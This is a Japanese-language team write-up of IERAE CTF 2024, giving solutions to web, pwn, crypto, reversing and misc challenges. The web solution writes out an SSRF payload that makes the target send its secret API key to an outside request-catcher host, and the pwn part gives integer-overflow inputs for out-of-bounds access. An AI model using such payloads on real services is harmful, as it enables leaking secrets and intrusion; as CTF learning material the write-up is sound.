IERAE CTF 2024 writeup - AkaTonbo -
IERAE CTF 2024 writeup
概要
IERAE CTF 2024のwriteup記事です。
チーム:AkaTonbo、メンバーは自分(Auth0r)とくままぬいの2人で参加しました。
チームで8問解き、結果は36位という結果でした。
自分が担当した問題だけでなく、チームで解いた問題全てのwriteupとなっており、一部はくままぬいさんにも執筆していただきました。
Web
Futari APIs
APIがflagになっており、URLパラメータとして渡されている。
async function searchUser(user: string, userSearchAPI: string) {
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
return await fetch(uri);
}
ユーザーからの入力をnew URLの引数に利用しており、絶対URLを指定すると、指定したサーバーにリクエストが送られる脆弱性がある。
自分でサーバーを立てるのがめんどくさかったので、RequestBinでリクエストをキャッチして、
http://ipaddress?user=https://encyhivvmyydh.x.pipedream.net/
として送ると、RequestBinにフラグが送信される。
FLAG
Flag:IERAE{yey!you_got_a_web_warmup_flag!}
Misc
OMG
戻るボタンを33回押したら、FLAGが手に入る。
FLAG
FLAG:IERAE{Tr3ndy_4ds.LOL}
Pwn
This is warmup
セグメンテーションフォルトを発生させると、win関数が呼び出されてFLAGを獲得できる。
if (nrow * ncol < nrow) { // this is integer overflow right?
puts("Don't hack!");
exit(1);
}
でのオーバーフロー処理に問題がある。
2<sup>64</sup>-1 = 9223372036854775805が64bitの最大値であるため、
例えば、nrow, ncolに2, (2^63+1)を入力すると、
nrow * ncol = 2 * (2<sup>63</sup>+1) = 18446744073709551618
オーバーフローして、
nrow * ncol = 18446744073709551618 mod 2<sup>64</sup> = 2 となる。
メモリ範囲外にアクセスすることで、セグメンテーションフォルトが発生し、FLAGが獲得できる。
Enter number of rows: 2
Enter number of cols: 9223372036854775809
Well done!
FLAG
IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}
Crypto
derangement
シャッフルされたmagic_wordの出力結果から、元のmagic_wordを求めればflagを獲得できる。
is_derangement関数の中身を見ると、出力される文字列のN番目の文字は元のmagic_wordのN番目の文字と「必ず異なる」ことがわかる。
(例えば、magic_wordが"ABCDE"なら、Aが出力されるのは1番目以外、Bは2番目以外、...)
そのため、いくつかの出力結果を集めて、N番目に出てこない文字を探せば良い。
$ nc ポート番号 > log.out
の後、1とエンターキーを交互に連打!
以下のコードから、log.outの結果から元のmagic_wordを出力し、flag獲得した。
(簡易に作ったのでコードが汚いのはご愛嬌)
コード
file_path = "log.out"
with open(file_path) as f:
magic_word_rand = [s.rstrip() for s in f.readlines()]
magic_word_rand = magic_word_rand[9:-1:3]
for i,x in enumerate(magic_word_rand):
magic_word_rand[i] = x[8:]
base = magic_word_rand[0]
base_list = []
magic_word_orig = ""
for i in range(len(magic_word_rand[0])):
tmp=""
for j in range(len(magic_word_rand)):
tmp += magic_word_rand[j][i]
base_list += [tmp]
for i in range(len(base)):
for x in base:
if x not in base_list[i]:
magic_word_orig += x
break
print(magic_word_orig)
FLAG
IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
weak_prng
名前の通り、PRNG(疑似乱数生成器)の問題
内部で一度乱数(secret)を生成しており、後の出力結果からsecretの値を求めるとFLAG獲得できる。
コードにも書いてある通り、Pythonの乱数生成はMersenne Twisterで生成していることがわかる。Mersene Twisterについては、こちらの記事を参考にしました。
1回の出力で16の乱数が生成されるので、624/16 = 39回分の出力結果を元に、secretの値を求めた。
FLAG
IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
(FLAG、面白くて好き)
Reversing
assinment
string
コマンドやバイナリエディタでファイルを見たがFLAGは見つからず。
(バイナリエディタで見た時にFLAGがありそうな箇所は見つかったが、バイナリから読み解くには実力不足のため断念。)
Ghidraで解析を行い、逆コンパイルしたmain関数を見てみると
flag[28] = 0x33;
flag[1] = 0x45;
flag[2] = 0x52;
flag[20] = 0x72;
などの怪しげな箇所を発見した。
flagのindexの順番通りに、値を文字コードに変換するとFLAGを獲得。
FLAG
IERAE{s0me_r4nd0m_str1ng_5a9354c}
Luz Da Lua
プログラミング言語 Luaの実行ファイルの問題。
Luaは触ったことなかったので、Luaを逆コンパイルするのに色々調べ、以下のサイトにたどり着いた。
Lua Decompiler
(LuadecやLuaJIT-Decompilerに関連する記事も発見しましたが、面倒そうなのでやめた。)
一部抜粋した出力結果は以下の通り。
-- filename: @/mnt/LuzDaLua.lua
-- version: lua54
-- line: [0, 0] id: 0
io.write("Input > ")
input = io.read("*l")
if string.len(input) ~= 28 then
goto label_301
elseif string.byte(input, 1) ~ 232 ~= 161 then
goto label_301
(途中省略)
elseif string.byte(input, 28) ~ 61 ~= 64 then
goto label_301
else
print("Correct")
end
-- warn: not visited block [59]
-- block#59:
-- _ENV.print("Wrong")
inputの値がFLAGになると推測した。
Luaの~=
は比較演算子の1つで左辺と右辺が異なるかを判断し、~
はXOR演算子を意味します。(参考)
そのため、6行目からは if string.len(input) ~= 28 then
から、FLAGの文字数が28であることがわかる。
また、8行目からは elseif string.byte(input, 1) ~ 232 ~= 161
inputの1文字目は、コードポイントに232で排他的論理和を取ったものが161となる値。
つまり、「232 xor 161 = 73」を表す文字コード「I」となることがわかる。
排他的論理和を計算し、文字コードに変換する作業を28文字繰り返すとFLAG獲得。
FLAG
IERAE{Lua_1s_S0_3duc4t1onal}
感想
Auth0r
warmupとeasyをそこそこ解けたのでよかったです。
一方で、medium問を解けなかったこと、sagemathなど一部のツールに慣れておらず時間を浪費してしまうところがあったので、しっかりと準備して望みたい思いました。
1つのジャンル全完できるようことを目標に精進します!
くままぬい
チームメンバーにリードしてもらう形で進めていきました。上の人が強すぎる。最後駆け込みで2問解けたのは僥倖でしたが、もう少し速く解けるとよかったのかなとも思いました。またチーム組んでやりましょう!
これから雌の鮭を2尾、さばいてきます。
Discussion